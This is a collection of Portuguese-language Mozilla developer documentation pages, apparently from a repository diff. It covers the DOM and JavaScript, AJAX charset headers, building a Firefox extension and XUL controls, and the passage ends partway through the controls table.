Efeitos visuais como movimentação de camadas pela página, mostrar e esconder camadas, menus em popup, etc. são normalmente referenciados como "DHTML", ou "HTML Dinâmico". Algumas pessoas questionam a utilização real dessas tecnologias em páginas web que supostamente deveriam lidar com conteúdo e não apresentação. Mas o fato é que estão aqui, hoje.

- -

Desde que trabalho nesse projeto, e tendo contato com vários webmasters, me impressiona a grande quantidade da comunidade de webdesign que não conhece seus trabalhos DHTML. A maior parte do tempo eles apenas vão até sites de repositório de scripts, e apenas copiam e colam o código em sua própria página web. Infelizmente a maioria desses sites falam sobre "javascript" e "DHTML" e nunca falam sobre "DOM". É verdade que, mesmo que o DOM seja um conceito antigo, ele faz parte dos "jargões do desenvolvedor web médio" apenas recentemente.

- -

É um grande desafio para um projeto como a Mozilla convencer os donos desses sites de que vale a pena codificar para o DOM W3C , o que as vezes significa muito trabalho, e falta de suporte em browsers antigos. Também é um grande desafio obter os fatos verdadeiros sobre o suporte ao DOM W3C. O Netscape 6 foi muito criticado por webdesigners estúpidos que estavam codificando seu "JavaScript" para o Netscape 4 e Internet Explorer usando document.layers e document.all. Todos os dias tentamos ajudar pessoas em grupos de notícias, emails pessoais, no Bugzilla, a ter seu site o mais compatível possível. Um dos maiores problemas que encontramos é a confusão entre JavaScript, DHTML, e DOM. Essa é uma tentativa de esclarecer as coisas, e explicar as relações entre essas fantásticas e úteis tecnologias.

- -

Javascript, A Linguaguem de Script para Web

- -

JavaScript é uma "linguagem de objetos de script" desenvolvida inicialmente na Netscape Communications Corp. por Brendan Eich, que é um dos líderes do projeto Mozilla atualmente. O motor JavaScript utilizado pela Mozilla é o SpiderMonkey, que está em conformidade com a especificação do ECMA-262 revisão 3. JavaScript também é conhecido como ECMAScript (mas veja a página do link para uma explicação detalhada).

- -

Ao contrário do popular equívoco, Javascript não é "Java Interpretado". Em resumo, Javascript é uma linguagem de script dinâmica com suporte a construção de objetos baseado em protótipo. A sintaxe básica é intencionalmente similar a Java e C++ para reduzir a quantidade de novos conceitos necessários para aprender a linguagem. A grande coisa sobre JavaScript é que ele é extremamente fácil de aprender se você quer fazer programação básica (como as necessárias para DHTML simples). Sem tipos visíveis de variáveis, strings são simples de utilizar, total neutralidade de plataforma, etc. Para codificadores avançados também funciona como linguagem procedural e orientada a objetos.

- -

Você verá que a maior parte desse parágrafo sobre JavaScript foi retirado da página de JavaScript da Mozilla. A especificação mais recente do ECMA pode ser encontrada aqui.

- -

O Modelo de Objeto de Documento, um conjunto de interfaces neutro de linguagem

- -

Enquanto JavaScript é a linguagem de programação que permitirá a você operar os objetos DOM e manipulá-los através de programação, o DOM proverá a você métodos e propriedades para recuperar, modificar, atualizar e remover partes do documento em que você está trabalhando. Por exemplo, você pode recuperar o valor de um controle de input de texto HTML como uma string utilizando o DOM. Então você pode utilizar o operador JavaScript "+" para concatenar essa string com qualquer outra de modo a fazer uma sentença mais compreensível. Você deveria usar o método DOM "alert()" para mostrar a string em uma caixa de diálogo para o usuário. Veja também exemplos abaixo.

- -

Se uma página Web fosse um pedaço de um móvel importado da Suécia, o DOM seria as ilustrações das partes - as prateleiras, parafusos, chaves Allen e chaves de fenda.  É possível escrever instruções de como colocar as partes juntas e utilizá-las em qualquer número de linguagens, mas você só utilizará aquelas que você compreende. O manual faz com que seja fácil montar o móvel utilizando as instruções escritas (JavaScript) para referenciar ilustrações do s objetos (DOM) que representam objetos atuais (motor de renderização do navegador). (Obrigado ao Jonathan pela analogia!)

- -

O que é essa fama "linguagem-neutra" como DOM? Por que o DOM é uma linguagem neutra se a única linguagem utilizada para acessá-lo é JavaScript? Bem, isso não é completamente correto. Por exemplo, a Mozilla utiliza o DOM internamento tanto em C++ quanto em JavaScript para sua interface de usuário. O editor, por exemplo,utiliza DOM extensivamente de modo a inserir, modificar e remover o HTML que você está vendo quando você constrói a página no modulo Compositor. Outras implementações conhecidas do DOM incluem Perl, Java, ActiveX, Python, e provavelmente outras. Isso é com certeza possível apenas devido a neutralidade de linguagem do DOM.

- -

O DOM e o JavaScript - O que está fazendo o que?

- -

Chegamos ao ponto principal desse documento. O que está fazendo o que? Em um script que embuti em minha página web, o que é o DOM e o que é o JavaScript? Vamos olhar um pouco mais de perto para um simples exemplo. Ele irá recuperar todas as tags <a> em uma NodeList que chamamos de "anchorTags". Então para cada tag de âncora (cada elemento da NodeList anchorTags), ele vai mostrar um alert como valor do atributo "href" da tag.

- -

Azul é para JavaScript. Vermelho para DOM.

- -
var anchorTags = document.getElementsByTagName("a");
-for (var i = 0; i < anchorTags.length ; i++)
-{
-   alert("Href desse elemento a é : " + anchorTags[i].href + "\n");
-}
-
- -

Explicações

- -

Esse fragmento de código mostra o que é JavaScript puro, e o que é DOM.

- -
-
var anchorTags =
-
Isso irá criar a variável JavaScript chamada "anchorTags".
-
document.getElementsByTagName("a")
-
A interface Document é a primeira interface definida no DOM1 Core, e document é um hospedeiro de objeto implementando a interface Document. O documento armazena tudo que está em sua página.
- O DOM1 Core define o método getElementsByTagName() na inteface Document. Ele recupera uma NodeList (uma espécie de array específico do DOM que armazena nós) de todas as tags que coincidem com o parâmetro passado para a função, em ordem de ocorrência no documento fonte. A variável anchorTags agora é um NodeList.
-
;
-
O básico ponto e vírgula de fim de instrução. Coisa do JavaScript.
-
for (var i = 0; i <
-
Uma típica repetição "for" de uma linguagem de programação. Isso permite ir através de cada nó contido no NodeList anchorTags. Note a declaração da variável "i". Também JavaScript.
-
anchorTags.length
-
O DOM1 Core define a propriedade length da interface NodeList. Isso retorna um inteiro que é o número de nós contidos no NodeList. Note que arrays JavaScript também possuem uma priedade length.
-
; i++) {
-
Típico incremento de 1 em variável JavaScript.
-
alert(
-
alert() é um método DOM que faz surgir uma caixa de diálogo com o parâmetro (string) que você passou para ele. Note que isso é parte do chamado DOM nível 0, ou DOM0. DOM0 é um conjunto de interfaces suportada por alguns browsers, mas que não é parte da especificação DOM.
-
"Href desse elemento a é: " +
-
Uma string literal e um operador de concatenação de string. JavaScript.
-
anchorTags{{ mediawiki.external('i') }}.href
-
"href" é uma propriedade da interface HTMLAnchorElement definida na especificação HTML DOM1. Ela reotnra o valor do atributo href do elemento âncora, se existir.
- Nós utilizamos anchorTags{{ mediawiki.external('i') }}, a mesma sintaxe que é utilizada em JavaScript para acessar o i-ésimo item de um array. A neutralidade de linguagem "modo DOM" para acessar um item de uma NodeList é utilizar o método item(), definido na interface NodeList: anchorTags.item(1).href. Mas a maioria das implementações JavaScript permite utilizar uma sintaxe mais simples semelhante a de array, e essa é que as pessoas mais utilizam realmente.
-
+ "\n");
-
Mais concatenação de string. Insere um retorno de linha ao fim da string.
-
}
-
Fim do laço de repetição "for".
-
- -
-

Original Document Information

- - -
- -

{{ languages( { "fr": "fr/Le_DOM_et_JavaScript", "ja": "ja/The_DOM_and_JavaScript", "pl": "pl/DOM_i_JavaScript", "zh-cn": "cn/The_DOM_and_JavaScript", "pt": "pt/O_DOM_e_o_JavaScript" } ) }}

diff --git "a/files/pt-pt/orphaned/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" "b/files/pt-pt/orphaned/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" new file mode 100644 index 0000000000..ab83230edf --- /dev/null +++ "b/files/pt-pt/orphaned/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" @@ -0,0 +1,60 @@ +--- +title: Acentuação para conteúdos carregados por AJAX +slug: Acentuação_para_conteúdos_carregados_por_AJAX +tags: + - AJAX + - 'AJAX:Artigos' + - Artigos + - Todas_as_Categorias +--- +

Explicações Iniciais

+

Este artigo trata dos problemas de acentuação na recuperação de um conteúdo via AJAX e NÃO do envio via métodos GET ou POST. Para o tratamento de problemas no ENVIO, veja esta solução (no sub-capítulo "Recebendo os dados (no PHP)". +

O XMLHttpRequest, o motor por trás do AJAX, trabalha no padrão UTF-8 por default, tanto para enviar dados quanto pra receber. Isso vem do próprio browser. Nos primórdios da internet, o Tim Berners-Lee ainda não estava tão preocupado com a internacionalização do HTML. Este esforço só começou a acontecer em novembro de 1995, depois da formação da W3C, onde visavam extender as capacidades do HTML 2. +

Atualmente, os navegadores que implementam Ajax também costumam apresentar vários problemas com nossos caracteres em português, ou outras línguas que possuam acentuação. +

Para resolver este problema, o melhor método seria o uso de HTML Entities, porém nem sempre é possível. +De forma a contornar isto, vemos pela internet muitas complicações usando funções JavaScript e funções como encode, escape, etc nos scripts do lado do servidor (ASP, PHP, JSP, etc). Uma complicação só!!! +

A forma recomendada, além do HTML entities, para corrigir o problema da acentuação no Ajax é através da definição correta do charset. +

Para renderizar nosso português você pode usar o charset ISO-8859-1. Tente padronizar o ISO-8859-1 em todas as partes ligadas ao seu sistema: charset do banco de dados (caso haja algum envolvido), meta charset da página HTML, e o mais importante: +

Você deve enviar cabeçalhos do servidor para o navegador, informando que você usará ISO-8859-1. +

Como fazer isto? +

+ +

O código

+ +
<cfcontent type="text/html; charset=ISO-8859-1">
+
+ +
<% Response.Charset="ISO-8859-1" %>
+
+ +
<?php header("Content-Type: text/html;  charset=ISO-8859-1",true); ?>
+
+ +
<%@ page contentType="text/html; charset=ISO-8859-1" %>
+
+ +

Lembrando que os códigos devem ser colocados no início de seu script (pra quem tem pouca experiência com a linguagem server side). +Testado com sucesso no IE6 e FF1.5. +

Você também pode tentar usar só a tag META em arquivos HTML simples, mas não é confiável.

+
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+
+

Caso você saiba a forma correta de editar a tag META para que os caracteres do português funcionem corretemente, edite este post e informe-nos. +

+

Observações finais:

+

Gostaria de lembrar que esta solução funciona apenas para a recuperação da página no servidor e não para o envio de dados via AJAX! Uma ótima solução encontrada na internet para o envio dos dados pode ser encontrada em ou . +

Há também outra possível causa para problemas de caracteres: o seu banco de dados. Alguns BD's, guardam seus dados apenas em UTF-8, e aí ocorre a perda de caracteres. Verifique isso também caso os códigos acima não tenham dado certo. +

+
+

Informações Sobre o Documento Original

+
+
diff --git a/files/pt-pt/orphaned/componentes/index.html b/files/pt-pt/orphaned/componentes/index.html new file mode 100644 index 0000000000..e8487b3b61 --- /dev/null +++ b/files/pt-pt/orphaned/componentes/index.html @@ -0,0 +1,20 @@ +--- +title: Componentes +slug: Componentes +tags: + - Componentes + - NecessitaDeConteúdo + - Referência_da_API_do_XPCOM + - Todas_as_Categorias + - XPCOM +--- +


+ Necessitamos duma lista detalhada de Componentes aqui, do género da lista de Interfaces.

+ +

Componentes, Listagem Alfabética (incompleto)

+ + diff --git "a/files/pt-pt/orphaned/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" "b/files/pt-pt/orphaned/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" new file mode 100644 index 0000000000..f3bc1e6187 --- /dev/null +++ "b/files/pt-pt/orphaned/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" @@ -0,0 +1,5 @@ +--- +title: Configurando um servidor de atualização +slug: Configurando_um_servidor_de_atualização +--- +

O objetivo deste documento é fornecer instruções básicas sobre a configuração de seu próprio servidor de atualização.

diff --git "a/files/pt-pt/orphaned/construir_uma_extens\303\243o/index.html" "b/files/pt-pt/orphaned/construir_uma_extens\303\243o/index.html" new file mode 100644 index 0000000000..b65967fa36 --- /dev/null +++ "b/files/pt-pt/orphaned/construir_uma_extens\303\243o/index.html" @@ -0,0 +1,227 @@ +--- +title: Construir uma Extensão +slug: Construir_uma_Extensão +tags: + - Extensões +--- +

Introdução

+

Este tutorial lhe dará uma visão bem básica dos passos para construir uma extensão - que adiciona um item na barra de status do Firefox contendo o texto "Hello, World!"

+
+

Nota Este tutorial é voltado para o desenvolvimento de extensões para Firefox 1.5 ou 2.0. Existem outros tutoriais para o desenvolvimento extensões para versões mais antigas do Firefox.

+
+

Ajustando o Ambiente de Desenvolvimento

+

As extensões são empacotadas e distribuídas em arquivos ZIP, ou Bundles, arquivos com a extensão xpi (pronunciado “zippy”). A disposição do conteúdo dentro do arquivo XPI é assim:

+
extension.xpi:
+              /install.rdf
+              /components/*
+              /components/cmdline.js
+              /defaults/
+              /defaults/preferences/*.js
+              /plugins/*
+              /chrome/
+              /chrome.manifest
+              /chrome/icons/default/*
+              /chrome/content/
+
+
+

Por isso, é mais fácil dispor seus arquivos de código de uma forma similar, a menos que você queira escrever algum tipo de Makefile ou shell script para empacotar e fechar todos os seus arquivos. Mesmo que esteja preparado para fazer isso, testar é muito mais simples se você dispuser seus arquivos desta maneira, devido a uma característica do Sistema de Add-on proporcionado a partir do Firefox 1.5.

+

Assim, vamos começar. Crie uma pasta para sua extensão em algum lugar do disco rígido, por exemplo C:\extensions\myExtension\ ou ~/extensions/myExtension/. Dentro desta pasta crie outra pasta chamada chrome, e dentro da pasta chrome crie outra pasta chamada content. (Em sistemas como o Unix você pode normalmente criar todos os três diretórios somente rodando mkdir -p chrome/content dentro do diretório root (raiz) da extensão.)

+

Dentro da raiz da sua pasta da extensão, ao lado da pasta chrome, crie dois novos arquivos de texto vazios, um chamado chrome.manifest e outro chamado install.rdf.

+

Mais ajuda no desenvolvimento de extensões pode ser encontrada na página Mozillazine Knowledge Base.

+

Criando o manifesto de instalação

+

Abra o arquivo chamado install.rdf que você criou no topo da pasta da sua extensão e coloque isto nele:

+
<?xml version="1.0"?>
+
+<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
+
+  <Description about="urn:mozilla:install-manifest">
+    <em:id>sample@example.net</em:id>
+    <em:version>1.0</em:version>
+    <em:type>2</em:type>
+
+    <!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. -->
+    <em:targetApplication>
+      <Description>
+        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
+        <em:minVersion>1.5</em:minVersion>
+        <em:maxVersion>2.0.0.*</em:maxVersion>
+      </Description>
+    </em:targetApplication>
+
+    <!-- Front End MetaData -->
+    <em:name>Amostra!</em:name>
+    <em:description>Uma extensão de teste</em:description>
+    <em:creator>Seu Nome Aqui</em:creator>
+    <em:homepageURL>http://www.foo.com/</em:homepageURL>
+  </Description>
+</RDF>
+
+ +

Extensões desenhadas para trabalhar com o Firefox 1.5.0.x devem ser colocadas no máximo com a versão "1.5.0.*".

+

Veja Install Manifests para uma lista completa das propriedades requeridas e opcionais.

+

Salve o arquivo.

+

Estendendo o navegador com XUL

+

A interface do usuário do Firefox é escrita em XUL e JavaScript. XUL é uma gramática XML que proporciona widgets como botões, menus, barras de ferramentas, árvores, etc. As ações do usuário são limitadas à funcionalidade usando JavaScript.

+

Para extender o navegador, nós modificamos partes da UI do navegador adicionando ou modificando widgets. Nós adicionamos widgets inserindo novos elementos DOM XUL na janela do navegador, e os modificamos utilizando scripts e anexando manipuladores de evento.

+

O navegador é implementado por um arquivo XUL chamado browser.xul ($FIREFOX_INSTALL_DIR/chrome/browser.jar que contém content/browser/browser.xul). Em browser.xul nós podemos encontrar a barra de status, semelhante a isso:

+
<statusbar id="status-bar">
+ ... <statusbarpanel>s ...
+</statusbar>
+
+

<statusbar id="status-bar"> é o "ponto de fusão" para a sobreposição XUL (XUL Overlay).

+
Sobreposição (overlay) XUL
+

XUL Overlays é um modo de anexar outras widgets da UI a um documento XUL durante a execução. Um Overlay XUL é um arquivo .xul que especifica fragmentos de XUL para inserir em pontos específicos de junção dentro de um documento "master". Estes fragmentos podem especificar widgets para serem inseridas, removidas ou modificadas.

+

Exemplo de Documento de Sobreposição XUL

+
<?xml version="1.0"?>
+<overlay id="sample"
+         xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+ <statusbar id="status-bar">
+  <statusbarpanel id="my-panel" label="Hello, World"/>
+ </statusbar>
+</overlay>
+
+

A <statusbar> chamada status-bar especifica o "ponto de junção" dentro da janela do navegador a que nós queremos anexar.

+

O sub-item de <statusbarpanel> é um novo widget que nós queremos para inserir dentro do ponto de junção.

+

Pegue esta amostra de código acima e salve-a em um arquivo chamado sample.xul dentro da pasta chrome/content que você criou.

+

Para mais informaçõs sobre junção de widgets e modificação da interface de usuário usando Overlays, veja abaixo.

+

URLs Chrome

+

Arquivos XUL são parte do "Chrome Packages" - pacotes dos componentes da interface de usuário que são carregados via URLs chrome://. Melhor que carregar o navegador pelo disco usando um URL file:// (a localização do Firefox no sistema pode mudar de plataforma para plataforma e sistema para sistema), desenvolvedores Mozilla surgiram com uma solução para criar URLs para conteúdo XUL em que a aplicação instalada sabe como fazer.

+

A janela do navegador é: chrome://browser/content/browser.xul. Tente digitar esta URL na barra de localização do Firefox!

+

Chrome URLs consistem em diversos componentes:

+ +

Então, chrome://foo/skin/bar.png carrega o arquivo bar.png do tema de foo na seção skin.

+

Quando você carrega conteúdo usando um Chrome URL, Firefox usa o Registro Chrome para traduzir estas URLs no atual arquivo de código no disco (ou em pacotes JAR).

+

Criando um Manifesto Chrome

+

Para mais informações sobre Manifestos Chrome e as propriedades que eles suportam, veja a referência Chrome Manifest.

+

Abra o arquivo chamado chrome.manifest que você criou ao lado do diretório chrome na raiz da pasta de código da sua extensão.

+

Adicione este código:

+
content     sample    chrome/content/
+
+

(Não se esqueça da barra, "/"! Sem ela, a extensão não será registrada.) Nota: Tenha certeza de ter digitado tudo em letras minúsculas para o nome do pacote ("sample") no Firefox/Thunderbird 1.5 não há suporte à letras maiúsculas. Aparentemente haverá na versão 2.

+

Isto especifica o:

+
    +
  1. tipo do material dentro do pacote chrome
  2. +
  3. nome do pacote chrome
  4. +
  5. localização dos arquivos do pacote chrome
  6. +
+

Então, esta linha diz que para o pacote chrome sample, nós podemos achar estes arquivos content (de conteúdo) na localização chrome/content onde está o caminho relativo à localização do chrome.manifest.

+

Note que os arquivos de conteúdo, localização e pele precisam estar no interior das pastas chamadas content (conteúdo), locale (localização) e skin (pele) dentro do subdiretório chrome.

+

Salve o arquivo. Quando você rodar o Firefox com sua extensão, (depois neste tutorial), isto irá registrar o pacote chrome.

+

Registrando uma Sobreposição

+

Você precisa do Firefox para fundir da sua sobreposição com a janela do navegador sempre que ela for exibida. Então adicione esta linha ao seu arquivo chrome.manifest:

+
overlay chrome://browser/content/browser.xul chrome://sample/content/sample.xul
+
+

Isto dirá ao Firefox para fundir sample.xul em browser.xul quando browser.xul for carregado.

+

Teste

+

Primeiro, nós precisamos falar ao Firefox sobre a sua extensão. Nos velhos e maus dias do Firefox 1.0, isto significava empacotar sua extensão como um XPI e instalar através da interface de usuário, na qual havia uma dificuldade real. Agora é muito mais simples.

+
    +
  1. Abra sua Profile Folder
  2. +
  3. Abra a pasta extensions (crie-a se ela não existir)
  4. +
  5. Crie um novo arquivo de texto, e coloque o caminho para a pasta da extensão dentro, e.g. C:\extensions\myExtension\ ou ~/extensions/myExtension. Salve o arquivo com o id da sua extensão como seu nome, e.g. sample@foo.net.
  6. +
+

Agora você está pronto para testar sua extensão!

+

Inicie o Firefox. O Firefox irá detectar o link para o diretório da sua extensão e instalará a extensão. Quando a janela do navegador aparecer você poderá ver o texto "Hello, World!" ao lado direito do painel da barra de estado.

+

Você pode agora retornar e fazer mudanças no arquivo .xul, fechar e reiniciar o Firefox, e elas aparecerão. Isto realmente não combina com a extensão descrita e confunde as pessoas. -Nickolay CENTER> Image:Helloworld_tools_menu.PNG Image:Helloworld_extensions_wnd.PNG </CENTER

+

Pacote

+

Agora que sua extensão trabalha, você pode empacotá-la (package) para distribuição e instalação.

+

Empacote o conteúdo da pasta da extensão (não a pasta da extensão), e renomeie o arquivo empacotado para ter uma extensão .xpi. No Windows XP, você pode fazer isto facilmente selecionando todos os arquivos e sub pastas na pasta da sua extensão, com um clique do botão direito e a escolha "Enviar para -> Pasta Comprimida". Um arquivo .zip será criado para você. Somente renomeie-o e pronto!

+

No Mac OS X, você pode com um clique do botão direito sobre a pasta da extensão escolher "Criar Arquivo de..." para fazer o arquivo .zip. No entanto, desde que o Mac OS X adiciona arquivos escondidos à pastas para ordenar os metadados do arquivo, você deve em vez disso usar o Terminal, deletar os arquivos escondidos (cujos nomes começam com um período), e então usar o comando zip na linha de comando para criar o arquivo .zip.

+

No Linux, você pode do mesmo modo usar a ferramenta Zip pela linha de comando.

+

Se você tem a extensão 'Extension Builder' instalada ela pode compilar o arquivo .xpi para você (Ferramentas -> Desenvolvimento de Extensões -> Construtor de Extensões). Meramente navegue até o diretório onde sua extensão está (install.rdf etc.), e clique no botão Construir Extensão. Esta extensão possui várias ferramentas para tornar o desenvolvimento mais fácil.

+

Agora atualize o arquivo .xpi no seu servidor, assegurando-se que ele serve como application/x-xpinstall. Você pode ligar para isto e permitir as pessoas baixarem e instalarem-na no Firefox. Para os propósitos de somente testar nosso arquivo .xpi nós podemos apenas arrastá-lo até a janela de extensões via Ferramentas -> Complementos -> Extensões.

+
Usando addons.mozilla.org
+

Mozilla Update é um site de distribuição onde você pode hospedar sua extensão de graça. Sua extensão irá ser hospedada na rede de espelho Mozilla para garantir seu download mesmo quando se tornar mais popular. O site Mozilla também proporciona aos usuários uma instalação simples, e colocará automaticamente suas versões mais novas disponíveis para os usuários das suas versões já existentes quando você atualizá-las. Em adição o Mozilla Update permite aos usuários comentar e proporcionar avaliações da sua extensão. Isto é altamente recomendado se você usa o Mozilla Update para distribuir suas extensões!

+

Visite http://addons.mozilla.org/developers/ para criar uma conta e começar a distribuir suas extensões!

+

Nota: Sua extensão será passada rapidamente e mais baixada, se você tiver uma boa descrição e algumas fotos da extensão em ação.

+
Registrando Extensões no Registro do Windows
+

No Windows, informação sobre extensões pode ser adicionada ao registro, e as extensões serão automaticamente "colhidas" na próxima vez que a aplicação iniciar. Isto permite que os instaladores de aplicação adicionem facilmente os ganchos de integração como extensões. Veja Adding Extensions using the Windows Registry para mais informações.

+

Mais sobre Sobreposições XUL

+

Além de adicionar widgets UI ao ponto de fusão, você pode usar fragmentos XUL dentro da sobreposição para:

+ +
<statusbarpanel position="1" .../>
+
+<statusbarpanel insertbefore="other-id" .../>
+
+<statusbarpanel insertafter="other-id" .../>
+
+

Criando Novos Componentes na Interface de Usuário

+

Você pode criar suas próprias janelas e caixas de diálogo em arquivos .xul separados, proporcionar funcionalidades pela implementação de ações de usuário em arquivos .js, usando métodos DOM para manipular widgets UI. Você pode usar regras de estilo em arquivos .css para anexar imagens, configurar cores, etc.

+

Veja a documentação XUL para mais recursos para desenvolvedores XUL.

+

Arquivos Padrão

+

Arquivos padrão que você usa para escalar um perfil de usuário que deve ser colocado em defaults/ sob a raiz da pasta da sua extensão. Preferências padrão em arquivos .js devem ser armazenadas em defaults/preferences/ — quando você as coloca aqui elas são automaticamente carregadas pelas preferências do sistema do Firefox quando ele é iniciado, então você pode acessá-las usando o Preferences API.

+

Componentes XPCOM

+

O Firefox suporta componentes XPCOM nas extensões. Você pode criar seus próprios componentes facilmente em JavaScript ou em C++ (usando o Gecko SDK).

+

Coloque todos os seus arquivos .js ou .dll no diretório components — eles são automaticamente registrados na primeira vez que o Firefox rodar depois que sua extensão for instalada.

+

Para mais informações, veja os livros How to Build an XPCOM Component in Javascript e Creating XPCOM Components.

+
Aplicação de Linha de Comando
+

Um dos possíveis usos dos componentes customizados XPCOM é adicionar um manipulador de linha de comando para o Firefox ou Thunderbird. Você pode usar esta técnica para rodar sua extensão como uma aplicação:

+
 firefox.exe -myapp
+
+

Devo mover as partes úteis disto para a página Command Line. -Nickolay Isto é feito adicionando um componente que contém a função... function NSGetModule(comMgr, fileSpec) { return myAppHandlerModule; } Esta função roda pelo Firefox cada vez que ele é iniciado. O Firefox registra o myAppHandlerModule's chamando-o 'registerSelf()'. Então isto obtém a fábrica de manipulador myAppHandlerModule's via 'getClassObject()'. A fábrica de manipulador é usada para criar a manipulação usando isto 'createInstance(). Finalmente, a manipulação 'handle(cmdline)' processa a linha de comando cmdline's handleFlagWithParam() e handleFlag(). Veja Chrome: Command Line e a discussão no fórum para detalhes (em inglês).

+

Localização

+

Para suportar mais que uma linguagem, você deve separar as strings do seu conteúdo usando entities e string bundles. É muito mais fácil fazer isto se você estiver desenvolvendo sua extensão do que retornar fazer isto mais tarde!

+

Informação de localização é armazenada no diretório local (locale) da extensão. Por exemplo, para adicionar um local à nossa extensão de amostra, crie um diretório chamado "locale" em chrome (onde o diretório "content está localizado) e adicione a linha seguinte ao arquivo chrome.manifest:

+
locale sample sampleLocale chrome/locale/
+
+

Para criar valores atributos localizáveis em XUL, você colocar os valores em um arquivo .ent (ou um .dtd), o qual deve ser colocado no diretório locale e ser como este:

+
<!ENTITY  button.label     "Click Me!">
+<!ENTITY  button.accesskey "C">
+
+

E depois incluí-lo no topo do seu documento XUL (mas embaixo de '<?xml version"1.0"?>') assim:

+
<!DOCTYPE window SYSTEM "chrome://packagename/locale/filename.ent">
+
+

Onde window é o valor localName do elemento raiz do documento XUL, e o valor da propriedade SYSTEM é o chrome URL para o arquivo de entidade. Para a nossa extensão de amostra, o elemento raiz é overlay.

+

Para usar as entidades, modifique seu XUL para isto:

+
<button label="&button.label;" accesskey="&button.accesskey;"/>
+
+

O Registro Chrome assegurará que o arquivo da entidade seja carregado do pacote de localização correspondente ao local selecionado.

+

Para strings que você usa no script, crie um arquivo .properties, um arquivo de texto que tem uma string em cada linha, neste formato:

+
key=value
+
+

e então use as etiquetas en:nsIStringBundleService/en:nsIStringBundle ou <stringbundle> para carregar os valores dentro do script.

+

Entendendo o navegador

+

Use o DOM Inspector (não é parte da instalação padrão do Firefox, você precisa reinstalá-lo pelo caminho da instalação customizada e escolher Ferramentas de Desenvolvedor se não houver um item "DOM Inspector" no menu de Ferramentas do seu navegador) para inspecionar a janela do navegador ou qualquer outra janela XUL que você precisar extendê-la.

+

Use o botão esquerdo do mouse para achar o nó no topo esquerdo da barra de ferramentas do DOM Inspector, clicando em um nó ele é selecionado e exibe o XUL na janela ao lado. Quando você faz isto a visão da árvore de hierarquia do DOM Inspector irá pular para o nó que você clicou.

+

Use o painel do lado direito do DOM Inspector para descobrir pontos de fusão com ids que você pode usar para inserir seus elementos de sobreposição. Se você não pode descobrir um elemento com um id que você pode fundir, você pode necessitar anexar um script em sua sobreposição e inserir seus elementos quando o evento load for exibido na janela mestre XUL.

+

Depurando extensões

+

Ferramentas Analíticas para Depurar

+ +

Depuração printf

+ +

Depuração avançada

+ +

Começo rápido

+

Você pode usar a ferramenta online Extension Wizard para gerar uma simples extensão para trabalhar junto.

+

Um Hello World extension similar ao que você pode gerar com o Extension Wizard é explicado linha por linha em outro tutorial do MozillaZine Knowledge Base.

+

Informações adicionais

+ diff --git a/files/pt-pt/orphaned/controles_xul/index.html b/files/pt-pt/orphaned/controles_xul/index.html new file mode 100644 index 0000000000..f4d43f4228 --- /dev/null +++ b/files/pt-pt/orphaned/controles_xul/index.html @@ -0,0 +1,145 @@ +--- +title: Controles XUL +slug: Controles_XUL +tags: + - PrecisaDeRevisãoEditorial + - Todas_as_Categorias + - XUL +--- +

A tabela a seguir lista todas as interfaces providas pelo XUL. Veja o Tutorial XUL para um guia passo-a-passo de como elas são utilizadas e a Referência XUL para uma referência rápida.

+ +
<button>

Um botão que pode ser pressionado pelo usuário.

+<button label="Save" accesskey="S"/>
+
Image:Controlsguide-button.png
<button type="menu">

A button that has a drop down menu attached to it. Pressing the button opens the menu.

+<button type="menu" label="View">
+  <menupopup>
+    <menuitem label="List"/>
+    <menuitem label="Details"/>
+  </menupopup>
+</button>
+
Image:Controlsguide-button-menu.png
<button type="menu-button">

A button that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.

+<button type="menu-button" label="New">
+  <menupopup>
+    <menuitem label="New Document"/>
+    <menuitem label="New Image"/>
+  </menupopup>
+</button>
+
Image:Controlsguide-button-menubutton.png
<checkbox>

A control that may be turned on and off, typically used to create options which may be enabled or disabled.

+<checkbox label="Show Toolbar Labels" checked="true"/>
+
Image:Controlsguide-checkbox.png
<colorpicker>

A control that may be used to select a color.

+<colorpicker color="#FF0000"/>
+
Image:Controlsguide-colorpicker.png
<colorpicker type="button">

A specialized type of color picker which shows only a button but when pressed, a popup will be displayed to select a color from.

+<colorpicker type="button" color="#CC0080"/>
+
Image:Controlsguide-colorpicker-button.png
<datepicker>

New in Mozilla 1.9 / Firefox 3

A set of textboxes which may be used to allow the entry of a date.

+<datepicker value="2007/03/26"/>
+
Image:Controlsguide-datepicker.png
<datepicker type="grid">

New in Mozilla 1.9 / Firefox 3

A datepicker which displays a calendar grid for selecting a date.

+<datepicker type="grid" value="2007/02/20"/>
+
Image:Controlsguide-datepicker-grid.png
<datepicker type="popup" >

New in Mozilla 1.9 / Firefox 3

A datepicker which displays a set of textboxes for date entry, but also has a button for displaying a popup calendar grid.

+<datepicker type="popup" value="2008/08/24"/>
+
 
<description>

The description element is used to for descriptive text.

+<description>
+  Select a time for the event to start
+</description>
+
Image:Controlguide-description.png
<groupbox>

A groupbox displays a labelled box around other user interface controls.

+<groupbox>
+  <caption label="Network"/>
+</groupbox>
+
Image:Controlguide-groupbox.png
<image>

An image specified by a URL.

+<image src="start.png"/>
+
Image:Controlguide-image.png
<label>

A label is used to create text which labels a nearby control.

+<label control="volume" value="Volume:"/>
+
Image:Controlguide-label.png
<listbox>

The listbox is used to select an item from a list of labelled items.

+<listbox>
+  <listitem label="Chocolate"/>
+  <listitem label="Jelly Beans"/>
+</listbox>
+
Image:Controlguide-listbox.png
<menulist>

A menulist (or combobox) is used to create a control with a drop down to select a value.

+<menulist>
+  <menupopup>
+    <menulist label="Lions" value="l"/>
+    <menuitem label="Tigers" value="t"/>
+    <menuitem label="Bears" value="b"/>
+  </menupopup>
+</menulist>
+
Image:Controlguide-menulist.png
<menulist editable="true">

